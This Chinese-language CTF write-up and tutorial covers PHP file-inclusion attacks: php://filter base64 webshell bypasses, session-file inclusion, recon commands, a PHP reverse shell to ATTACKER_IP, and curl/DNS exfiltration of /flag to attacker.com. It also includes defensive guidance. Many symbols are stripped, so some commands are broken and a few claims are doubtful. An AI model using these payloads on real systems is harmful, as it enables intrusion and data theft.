
1. 赛题背景与核心思路拆解“金盾信安杯”这类网络安全竞赛其Web赛题的设计往往不是简单的“找漏洞”而是对选手综合能力的极限考验。它模拟了真实攻防对抗中攻击者如何在层层设防、规则严苛的环境下利用有限的、甚至是“畸形”的输入点达成最终目标通常是获取服务器上的敏感文件或执行命令。2024年的赛题延续了这一传统其核心思路可以概括为“在重重过滤与限制下寻找逻辑与协议的缝隙”。题目不会直接告诉你“这里有个文件包含漏洞”而是通过代码审计、协议理解、服务器配置特性甚至是一些非预期的解析差异引导你一步步构建出完整的攻击链。我拿到题目后的第一反应不是直接去试Payload而是先做“环境侧写”。题目通常运行在一个经过高度定制和加固的Web服务器上可能是Apache/Nginx配合特定版本的PHP并加载了自定义的安全模块或设置了严格的php.ini。这意味着一些在普通环境下通杀的技巧比如简单的../../etc/passwd路径遍历很可能在第一关就被WAFWeb应用防火墙或者服务端代码的过滤函数拦截。因此解题的核心思路必须从“有什么漏洞”转变为“在现有规则下我能让服务器以何种非预期的方式理解我的输入”。这涉及到对PHP内核机制、协议封装器、编码转换、服务器解析顺序等底层知识的深刻理解。例如题目中频繁出现的php://filter伪协议其价值远不止于读取文件。在限制上传文件后缀、禁用危险函数、关闭错误回显的“绝望”环境下它可能成为我们与服务器文件系统“对话”的唯一窗口。而Base64编码也不仅仅是隐藏明文那么简单。在特定场景下它能够作为“编码过滤器”改变数据流的内容从而绕过对文件开头特定魔数Magic Number的检查或者将非PHP代码“转换”成服务器可解析执行的PHP代码。这种将编码、协议、文件流操作融会贯通的思维正是解这类高难度赛题的关键。2. 核心绕过技巧php://filter的创造性应用2.1 基础原理与常见误区php://filter是PHP提供的一个元封装器用于在数据流打开时应用过滤器。最广为人知的用法是php://filter/convert.base64-encode/resourceindex.php用于读取PHP文件源码因为直接包含会被执行。但很多新手会止步于此认为它只是个“读源码”的工具。这是一个巨大的误区。它的核心价值在于“链式过滤”和“资源转换”。你可以将多个过滤器像管道一样连接起来对数据进行多重处理。例如你可以先压缩zlib.deflate再Base64编码最后再反转字符串string.rot13。更重要的是php://filter的resource不仅可以指向文件还可以指向php://inputPOST数据流或者其他数据源。这就为我们构造特殊Payload提供了无限可能。一个常见的赛题限制是禁止包含以.php结尾的文件或者对包含的文件内容进行?php标签检查。此时单纯的php://filter/readconvert.base64-encode/resourceshell.php是无效的。我们需要利用过滤器改变数据流的本质。2.2 利用Base64解码进行代码注入这是本届赛题中的一个关键技巧也是很多选手的突破口。假设有一个文件包含漏洞点但服务端代码会检查被包含文件的内容如果发现?php、eval(、system(等危险字符串就会拒绝执行。我们的目标是上传一个内容为恶意PHP代码的文件比如一句话木马并让它被成功包含执行。直接上传一个.txt文件里面写?php eval($_POST[‘cmd’]);?然后在包含时指定这个txt文件通常会被内容检查拦截。这时php://filter的妙用就来了。我们可以这样做将我们的PHP代码进行Base64编码。例如?php eval($_POST[‘cmd’]);?编码后是PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4。构造一个Filter链php://filter/readconvert.base64-decode/resource恶意文件.txt。当我们通过文件包含函数如include、require去包含这个URI时PHP会执行以下操作打开恶意文件.txt。读取其原始内容即Base64编码后的字符串PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4。应用convert.base64-decode过滤器将这段Base64字符串解码。解码后的结果原始的?php eval($_POST[‘cmd’]);?被传递给include函数。include函数接收到的是已经解码的、纯净的PHP代码并开始执行它。关键在于内容检查发生在过滤器生效之前还是之后在很多实现中检查是针对“最终被包含的内容”进行的。但在我们的流程中服务器端的内容检查模块很可能是在PHP的include函数内部对即将被解释执行的代码流进行检查。而php://filter的过滤器是在数据流被送入include函数之前生效的。也就是说检查模块看到的是恶意文件.txt的原始内容一堆Base64字符里面没有?php检查通过。然后数据流被送入PHP引擎经过过滤器解码还原出PHP代码并执行。我们成功绕过了基于内容字符串匹配的检查。注意这种技巧成功的前提是文件包含函数确实支持php://filter协议并且服务器没有禁用convert.base64-decode这个过滤器。在实战或CTF中这需要探测。2.3 组合过滤器绕过文件头检查另一种进阶场景是绕过文件类型检查。例如一个上传功能要求上传“图片”不仅检查后缀名.jpg,.png还会用getimagesize()或检查文件头Magic Number来验证是否为真实图片。我们的目标是将一个PHP Webshell上传上去。传统方法是制作图片马在图片末尾附加PHP代码。但有些检查非常严格会验证文件结构的完整性附加代码可能导致图片损坏无法通过验证。此时可以结合php://filter和文件包含来实现无损绕过。准备一个真实的、有效的图片文件例如pure.jpg。准备我们的PHP Webshell代码例如?php system($_GET[‘c’]);?。构造一个复杂的Filter链将图片文件作为“资源”但先通过过滤器将其内容Base64编码然后与我们PHP代码的Base64编码拼接再整体解码。但更巧妙的做法是利用php://filter的write功能如果环境允许或直接构思一个包含链我们最终要包含的Payload是php://filter/convert.base64-decode/resourcephpshell.jpg。我们上传的文件phpshell.jpg其内容并不是图片二进制数据而是经过Base64编码后的“图片二进制数据 PHP代码”的混合体。具体操作将纯图片pure.jpg用二进制方式打开进行Base64编码得到字符串A。将PHP代码?php system($_GET[‘c’]);?进行Base64编码得到字符串B。将A和B简单拼接AB作为phpshell.jpg的文件内容。当服务器检查phpshell.jpg时因为它本身是一段Base64文本getimagesize()会失败。但是如果服务器检查逻辑有瑕疵比如先允许上传在后续某个点如包含时才做严格检查我们的机会就来了。在文件包含点我们使用php://filter/convert.base64-decode/resourcephpshell.jpg。过滤器会将文件内容解码。解码后前半部分还原出原始的、完整的图片二进制流后半部分还原出PHP代码。当这个混合数据流被include时PHP引擎会从开头开始解析。图片二进制数据对于PHP来说是无效的令牌会被直接忽略可能产生几个警告直到解析器遇到?php标签然后开始执行后面的代码。这种方法比直接附加更隐蔽因为它维持了原始图片数据的完整性解码后前半部分是一个货真价实的图片文件。在某些解析环境下甚至可以骗过一些动态的二次检查。3. 实战应用从漏洞点到权限获取的完整链条3.1 赛题场景还原与审计要点我们假设一个典型的赛题场景一个简单的文件上传/查看应用。提供两个功能1. 上传文件仅允许.txt后缀2. 查看文件通过file参数指定文件名直接读取文件内容并显示。源码可能如下// upload.php $allowed_ext array(txt); $filename $_FILES[file][name]; $ext pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $allowed_ext)) { die(只允许上传txt文件); } move_uploaded_file($_FILES[file][tmp_name], ./uploads/ . $filename); echo 上传成功; // view.php $file $_GET[file]; if (isset($file)) { // 模拟一个简单的过滤试图阻止目录遍历 $file str_replace(../, , $file); include(./uploads/ . $file); } else { highlight_file(__FILE__); }审计立刻可以发现view.php存在本地文件包含LFI漏洞。虽然有一个蹩脚的str_replace(../, , $file)过滤但这种过滤很容易被双写绕过....//- 替换后 -../。但赛题的难点通常不止于此。我们假设环境做了以下加固open_basedir被设置限制PHP只能访问特定目录。allow_url_include为Off禁止远程文件包含。上传目录uploads/不可执行PHP即.htaccess或Nginx配置限制了该目录下PHP文件的解析。服务器可能安装了WAF会检测包含请求中的敏感路径如/etc/passwd和协议如php://。我们的目标是读取/flag文件CTF常见目标。3.2 利用链条构建与Payload构造第一步是绕过str_replace过滤。使用双写绕过file....//....//....//etc/passwd。经过一次替换后中间的../被移除相邻的....//就变成了../成功构造出路径遍历。如果成功证明LFI存在且可以读取系统文件。但读取/flag可能被WAF拦截。这时可以尝试使用编码或协议。直接php://filter/readconvert.base64-encode/resource/flag可能会被WAF识别php://关键字。我们可以尝试利用包含来触发过滤器而不是直接访问。例如先上传一个内容为php://filter/readconvert.base64-encode/resource/flag的txt文件命名为payload.txt。然后通过LFI包含它view.php?filepayload.txt。但这样include会试图将那个字符串作为PHP代码执行会失败。正确的思路是利用PHP的封装器协议是可以在包含路径中使用的。我们需要让file参数最终解析为完整的php://filter路径。由于uploads/目录被前置我们需要利用路径遍历跳出该目录。Payload为view.php?filephp://filter/readconvert.base64-encode/resource/flag。但这里有个问题代码中拼接了./uploads/所以最终路径是./uploads/php://filter/...这是一个无效的路径。这里就需要利用PHP的一个特性当include的路径中包含协议时它会优先将其视为一个流Stream路径而不是文件系统路径。但前提是协议部分必须是完整的、且位于路径的开头部分。由于我们的路径以./uploads/开头PHP不会将其识别为php://流。因此我们必须完全跳出uploads/目录。使用多个../回到根目录再直接使用绝对路径的协议view.php?file....//....//php://filter/readconvert.base64-encode/resource/flag。经过过滤和拼接后路径可能变为./uploads/../../php://filter/...这仍然不是一个有效的文件路径但PHP的流包装器在解析时可能会忽略前面的./uploads/../../因为它不是一个有效的文件路径而php://协议处理器会被调用。这种行为依赖于PHP版本和配置是赛题常见的考点。如果上述方法不行另一个更稳定的方法是利用/proc/self目录。在Linux系统中/proc/self是一个指向当前进程即PHP-FPM或Apache worker进程的符号链接。我们可以通过它来访问进程的环境信息甚至文件描述符。一个经典的技巧是包含/proc/self/environ来获取环境变量有时里面会有路径信息。或者如果我们能控制上传文件并知道其临时文件名通常位于/tmp/phpXXXXXX我们可以通过包含/proc/self/fd/XXXX是文件描述符编号来访问它即使它已经被删除。但这需要精确的时序竞争难度较高。更常见的突破口是利用PHP的Session文件。如果网站使用了Session并且我们可以控制部分Session数据比如通过一个用户可控的输入点如昵称、邮箱将其存入$_SESSION那么我们就可以在Session文件中注入PHP代码。然后通过LFI包含Session文件通常位于/tmp/sess_[PHPSESSID]或/var/lib/php/sessions/sess_[PHPSESSID]来执行代码。这就将LFI升级为了远程代码执行RCE。3.3 权限提升与最终Flag获取假设我们通过Session文件包含成功执行了命令例如system(‘id’);返回了www-data用户。我们的目标是读取/flag但可能/flag的权限是-r-------- root root只有root可读。在CTF环境中常见的提权方式不是真正的系统提权而是寻找具有SUID权限的、可由www-data用户执行的程序或者利用内核漏洞。但在Web赛题中更常见的是利用Web应用本身的权限。/flag可能就是一个普通文件www-data可读。或者flag可能不在根目录而在Web目录的某个深层次子目录或者数据库里。此时我们需要进行信息收集。利用已获得的RCE执行命令find / -name “*flag*” 2/dev/null在全盘查找包含flag关键字的文件。ls -la /查看根目录。ls -la /home查看用户目录。env查看环境变量有时会有提示。cat /etc/passwd查看用户列表。ps aux查看进程也许有某个服务进程在读取flag。如果/flag确实不可读可能需要利用其他漏洞。例如题目可能设置了一个/readflag的SUID二进制程序执行它就能输出flag。我们需要分析这个程序如果允许下载或者直接执行它/readflag。在实战中获取RCE后下一步通常是建立稳定的反向Shell方便后续操作。可以使用Python、PHP、Netcat等工具。例如在目标服务器上执行php -r ‘$sockfsockopen(“ATTACKER_IP”, PORT);exec(“/bin/sh -i 3 3 23”);’同时在攻击机监听对应端口。4. 高级技巧协议封装与编码的奇技淫巧4.1 data:// 协议的受限使用与替代方案data://协议允许在URI中直接嵌入数据格式如data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8。它是将LFI转化为RCE的利器。但在近年来的CTF和真实环境中allow_url_include选项默认关闭且经常被管理员禁用使得data://协议无法直接用于包含执行代码。然而这并不意味着它完全无用。在某些特定场景下它可以与其他漏洞结合。例如如果存在一个文件写入点哪怕只能写入特定内容我们可以将data://协议URI写入文件然后诱导应用以某种方式“读取”或“包含”这个文件。或者在一些XML解析、反序列化等场景中data://可以作为外部实体注入XXE的一部分被利用。当data://被禁用时php://input是一个强大的替代品。它允许你读取POST请求的原始主体数据。利用方式如下发送一个POST请求到存在LFI漏洞的端点。将file参数设置为php://input。在POST Body中直接写入要执行的PHP代码例如?php system(‘ls’);?。服务器端的include函数会包含php://input流也就是我们POST的代码从而执行它。这种方法同样受allow_url_include影响吗实际上php://input是PHP的输入流封装器并非“远程URL”所以其可用性通常不受allow_url_include限制而取决于服务器配置是否允许访问这个流。它在禁用远程包含但需要接收POST数据的场景下非常有效。4.2 利用压缩过滤器进行数据泄露php://filter除了convert.*过滤器还有zlib.*压缩和bzip2.*过滤器。这些过滤器可以用于数据压缩和解压。一个有趣的利用点是信息泄露。在某些极端的过滤下所有输出都被转义或过滤甚至错误信息被关闭。我们如何获取敏感信息可以考虑使用压缩过滤器。假设我们可以控制文件包含的部分路径但输出不直接显示。我们可以尝试包含一个非常大的文件比如/dev/random它是一个无限数据流并应用zlib.deflate过滤器。由于压缩数据是二进制直接输出到浏览器可能会乱码或导致连接中断。但我们可以将其与convert.base64-encode过滤器链式使用将压缩后的二进制数据转换为可打印的Base64字符串。然而更精妙的利用是侧信道攻击。虽然我们无法直接看到输出但我们可以观察响应时间或响应大小。如果包含一个存在的文件和不存在的文件经过压缩后其输出大小即使我们看不到内容可能不同或者PHP处理耗时不同。通过这种差异我们可以盲测文件是否存在。但这需要非常精细的测量和稳定的网络环境在CTF中不常见更偏向于真实安全研究。4.3 字符串处理过滤器与逻辑混淆php://filter的string.*过滤器家族常常被忽视但它们在某些绕过场景下潜力巨大。例如string.rot13对数据进行ROT13编码。可以用于绕过简单的关键字过滤。例如PHP代码?cuc riny($_CBFG[‘pq’]);?经过ROT13后就变成了?php eval($_POST[‘cd’]);?。如果WAF只检查解码/执行前的原始内容可能会被绕过。string.toupper/string.tolower改变大小写。可以用于绕过大小写敏感的检查。string.strip_tags去除PHP和HTML标签。这个过滤器非常危险因为它会破坏我们的Payload。但反过来想如果我们能控制过滤器链的顺序也许可以利用它来去除某些我们不想让检查器看到的标记然后再通过其他方式恢复代码。这些过滤器的组合可以构造出极其复杂的Payload用于对抗基于模式匹配的WAF规则。例如一个Payload可以先ROT13再Base64编码再反转字符串。WAF规则很难覆盖所有可能的变形组合。但相应的构造和调试这样的Payload也极具挑战性。5. 防御视角从攻击手法看安全开发要点5.1 文件包含漏洞的根除方案从防御者角度看所有上述绕过技巧都源于一个根本漏洞用户输入被未经充分净化就直接用于文件系统操作。最彻底的解决方案是白名单机制。绝对禁止动态包含路径如果业务逻辑必须包含文件应使用固定的映射关系。例如使用一个数组将安全的键名映射到具体的文件路径$allowedPages [‘home’ ‘./templates/home.php’, ‘about’ ‘./templates/about.php’];。然后通过$page $_GET[‘page’]; if (array_key_exists($page, $allowedPages)) { include($allowedPages[$page]); }。如果需要动态性必须严格过滤如果白名单不现实必须对输入进行最强限制。首先去除所有目录遍历字符$file str_replace(array(‘../’, ‘..\\’, ‘./’, ‘.\\’), ‘’, $file);。更好的做法是使用basename()函数只获取文件名部分但这会丢失子目录信息。对于需要子目录的情况可以先将输入限制在字母数字和下划线然后拼接上固定的基础目录$baseDir ‘./content/’; $file $baseDir . preg_replace(‘/[^a-zA-Z0-9_\/-]/’, ‘’, $file) . ‘.php’;。注意这里允许了/但前提是基础目录$baseDir是一个安全的、不允许用户跳出的目录。关闭危险特性在php.ini中务必设置allow_url_fopen Off和allow_url_include Off。这能从根本上阻断通过http://、ftp://、data://等协议进行的远程文件包含和代码注入。配置open_basedir虽然open_basedir可以被某些方式绕过但它仍然是重要的安全边界可以限制脚本访问文件系统的范围增加攻击难度。5.2 针对协议封装器攻击的防护策略协议封装器的攻击本质上是利用了PHP丰富的流处理功能。防护需要多层面进行输入验证与过滤在代码层面对传入的参数进行严格的协议头检查。例如如果参数预期是普通文件名可以检查是否以php://、data://、phar://、zip://等危险协议开头。使用正则表达式或parse_url()函数进行检测和拦截。Web服务器层防护在Nginx或Apache配置中可以设置规则拦截请求参数中包含特定协议字符串的请求。例如在Nginx的location块中if ($query_string ~* “(php://|data://|phar://)”) { return 403; }。但要注意避免误杀。禁用特定过滤器在PHP编译时或运行时可以通过修改php.ini来禁用某些危险的过滤器。例如disable_functions指令可以禁用include、require等函数但这会严重影响功能。更精细的控制可以通过php.ini的filter.default和filter.default_flags来实现或者直接修改PHP源码但成本较高。更实际的做法是在应用代码中如果使用了stream_filter_append等函数要确保过滤器的来源可信。最小权限原则运行PHP-FPM或Apache进程的用户如www-data应该具有尽可能低的文件系统权限。不要赋予其Web目录以外的读写权限。这样即使攻击者通过LFI包含了系统文件也无法进行写操作或读取关键敏感信息如/etc/shadow。5.3 安全编码习惯与自动化检查再好的防护配置也抵不过糟糕的代码。培养安全编码习惯至关重要使用安全的文件操作函数尽量使用file_get_contents()读取静态文件而非include。如果必须动态包含使用realpath()函数解析输入的绝对路径并检查解析后的路径是否在以Web根目录为起点的子目录内。错误处理关闭生产环境的错误显示display_errors Off使用自定义的错误处理函数避免将路径、数据库结构等敏感信息泄露给攻击者。代码审计与自动化扫描将安全审计纳入开发流程。使用静态代码分析工具如SonarQube、PHPStan的某些安全插件来检测潜在的LFI漏洞。在CI/CD流水线中加入安全扫描环节。依赖库管理及时更新框架和第三方库避免使用含有已知漏洞的旧版本。使用Composer等工具管理依赖并定期运行composer audit检查安全公告。6. 常见问题排查与实战调试技巧6.1 Payload构造失败的原因分析在实战或CTF中精心构造的Payload经常失败。以下是一个系统的排查清单现象可能原因排查步骤包含php://filter直接返回空或错误协议被禁用或WAF拦截1. 尝试包含一个已知存在的普通文件如../../index.php确认LFI存在。2. 尝试使用php://inputPOST方式测试协议是否可用。3. 尝试使用file://协议读取本地文件测试基本协议支持。4. 查看响应头或错误日志如果开启看是否有WAF拦截提示。Base64解码过滤器无效返回原内容或乱码过滤器被禁用或数据格式问题1. 确认PHP版本支持该过滤器。2. 检查Base64字符串是否标准长度是4的倍数字符集正确。3. 尝试一个简单的测试php://filter/readconvert.base64-encode/resourceindex.php看是否能正常编码。如果能编码但不能解码可能是convert.base64-decode被限制。4. 注意read和write参数的使用场景在include中通常用read。包含Session文件成功但代码不执行Session文件路径错误或内容被转义1. 通过phpinfo()或猜测确定Session保存路径session.save_path。2. 确认Session IDPHPSESSID是否正确能否通过包含sess_xxx文件读取到我们注入的数据。3. 检查注入的Session数据是否被htmlspecialchars或addslashes等函数转义导致?php标签被破坏。尝试注入纯文本先测试。使用php://input执行命令无回显配置限制或代码执行方式问题1. 确认请求方法是POST并且file参数的值是php://input。2. 确认POST Body中就是纯PHP代码不要有多余的URL参数格式。3. 尝试使用phpinfo();作为测试代码看最基本的函数能否执行。4. 考虑是否system()、exec()等函数被禁用。尝试使用echo “test”;或var_dump(scandir(‘.’));。5. 检查是否启用了disable_functions。路径遍历过滤无法绕过过滤逻辑严密1. 分析过滤代码是只过滤一次还是循环过滤。str_replace(‘../’, ‘’, $file)只过滤一次双写可绕过。如果是while(strpos($file, ‘../’) ! false) { $file str_replace(‘../’, ‘’, $file); }则双写无效。2. 尝试使用绝对路径/etc/passwd如果PHP进程有权限。3. 尝试使用URL编码..%2F或双重URL编码..%252F。4. 尝试使用非标准路径分隔符如..\Windows或在Linux下可能被误解析的字符。6.2 信息收集与环境探测命令在获得初步执行能力后系统化的信息收集是成功的关键。以下命令清单应熟记于心系统与权限信息id查看当前用户和所属组。whoami查看当前用户名。uname -a查看内核版本和系统架构。cat /etc/passwd查看系统用户列表。cat /etc/group查看用户组信息。sudo -l查看当前用户可以以root身份无需密码运行哪些命令如果允许。文件系统与目标查找pwd查看当前工作目录。ls -la列出当前目录所有文件包括隐藏文件及详细信息。find / -type f -name “*flag*” 2/dev/null全盘查找文件名包含“flag”的文件忽略错误信息。find / -type f -perm -4000 2/dev/null查找SUID权限的文件可能是提权入口。find / -writable -type d 2/dev/null查找当前用户可写的目录。cat /etc/hosts查看主机文件。env查看环境变量可能包含数据库密码、密钥等。网络与进程信息ifconfig或ip a查看网络接口信息。netstat -tulpn或ss -tulpn查看网络连接、监听端口和对应进程。ps aux查看所有运行进程。lsof -i查看打开的网络连接和文件。Web应用相关cat /etc/apache2/sites-available/000-default.conf或cat /etc/nginx/sites-enabled/default查看Web服务器配置。cat /var/www/html/index.php查看Web主文件路径可能不同。cat /etc/php/7.4/fpm/php.ini查看PHP配置文件版本路径可能不同查找disable_functions,open_basedir等设置。6.3 无回显命令执行下的外带数据在无法直接看到命令输出盲注的情况下我们需要将数据外带Out-of-Band, OOB出来。DNS外带利用命令执行触发DNS查询将数据放在域名中。例如ping -c 1 $(whoami).attacker.com。攻击者监听DNS服务器看到查询的域名是root.attacker.com就知道当前用户是root。适用于Linux/Windows。HTTP请求外带利用curl或wget将数据作为URL参数或请求头发送到攻击者控制的服务器。Linux:curl http://attacker.com/$(cat /flag | base64 | tr -d ‘\n’)Windows:powershell -c “Invoke-WebRequest -Uri ‘http://attacker.com/’ -Method POST -Body (Get-Content C:\flag)”时间延迟盲注通过命令执行的时间差来判断。例如if [ $(grep -c ‘^root:’ /etc/passwd) -eq 1 ]; then sleep 5; fi。如果命令执行了5秒说明/etc/passwd文件第一行以root:开头。这需要编写自动化脚本进行枚举。写入文件再读取如果Web目录可写可以将命令输出写入一个文件然后通过Web访问该文件。例如ls / /var/www/html/output.txt然后访问http://target.com/output.txt。在实际的CTF比赛中题目设计往往会逐步引导你使用这些技巧。从简单的LFI到复杂的过滤器绕过再到无回显的OOB数据外带每一步都在考验你对PHP特性、操作系统和网络协议的深入理解。真正的安全能力就体现在这种将零散知识点串联成有效攻击链的思维过程中。